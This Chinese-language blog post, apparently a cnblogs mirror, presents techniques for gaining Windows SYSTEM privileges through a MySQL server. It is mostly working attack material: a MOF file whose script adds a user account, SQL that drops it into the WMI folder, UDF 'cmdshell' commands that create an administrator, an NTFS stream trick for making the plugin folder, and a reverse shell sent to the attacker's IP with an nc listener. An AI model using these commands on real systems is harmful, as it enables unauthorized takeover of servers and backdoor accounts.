zoukankan      html  css  js  c++  java
  • MYSQL提权的各种姿势

    一、利用mof提权

    前段时间Kingcope大牛发布了mysql远程提权0day,剑心牛对MOF利用进行了分析,如下:

    Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法 1: 运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。

    方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

    方法 3: 拖放到 %SystemRoot%System32WbemMOF 文件夹的 MOF 文件。

    具体到mysql提权中,我们又该怎么利用呢?

    1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    namespace("\\.\root\subscription")
    instance of __EventFilter as $EventFilter
    {
        EventNamespace = "Root\Cimv2";
        Name  = "filtP2";
        Query = "Select * From __InstanceModificationEvent "
                "Where TargetInstance Isa "Win32_LocalTime" "
                "And TargetInstance.Second = 5";
        QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
        Name = "consPCSV2";
        ScriptingEngine = "JScript";
        ScriptText =
        "var WSH = new ActiveXObject("WScript.Shell") WSH.run("net.exe user c0de code /add")";
    };
    instance of __FilterToConsumerBinding
    {
        Consumer   = $Consumer;
        Filter = $EventFilter;
    };
    ;

    其中的第18行的命令,上传前请自己更改。
    2、执行load_file及into dumpfile把文件导出到正确的位置即可。

    1
    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

    二、利用UDF提权

    udf提权这是最常见的提权方式了,但是往往在执行过程中老是遇到"Can't open shared library"的情况,这里我们可以利用NTFS ADS流来解决这个问题。
    1、最常见的是直接使用udf.php此类的工具来执行udf提权,具体如下。
    连接到mysql以后,先导出udf.dll到c:windowssystem32目录下。
    2、创建相应的函数并执行命令,具体如下:

    1
    2
    3
    4
    5
    create function cmdshell returns string soname 'udf.dll';
    select cmdshell('net user waitalone waitalone.cn /add');
    select cmdshell('net localgroup administrators waitalone /add');
    drop function cmdshell; 删除函数
    delete from mysql.func where name='cmdshell'  删除函数

    3、某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到libplugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法

    1
    2
    3
    4
    5
    6
     select @@basedir;   
    //查找到mysql的目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib::$INDEX_ALLOCATION';   
    //利用NTFS ADS创建lib目录
    select 'It is dll' into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin::$INDEX_ALLOCATION';
    //利用NTFS ADS创建plugin目录

    三、反弹端口连接提权

    假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?
    1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。

    1
    2
    3
    4
    5
    6
    7
    8
    mysql.exe -h 172.16.10.11 -uroot -p



    Enter password:

    mysql> . c:mysql.txt
    mysql>select backshell("YourIP",2010);

    2、本地监听你反弹的端口

    1
    nc.exe -vv -l -p 2010

    成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权

    mysql.txt工具下载:http://pan.baidu.com/share/link?shareid=3689997446&uk=2466540631

  • 相关阅读:
    JAVA 基本数据类型长度
    字符编码详解
    几种编码方式
    Java1.5泛型指南中文版(Java1.5 Generic Tutorial)
    java泛型小问题
    java中的equals()方法
    Java泛型中E、T、K、V等的含义
    数据库的基本操作
    Mysql数据类型简介(大概了解)
    [BZOJ 2007] 海拔
  • 原文地址:https://www.cnblogs.com/askDing/p/5109593.html
Copyright © 2011-2022 走看看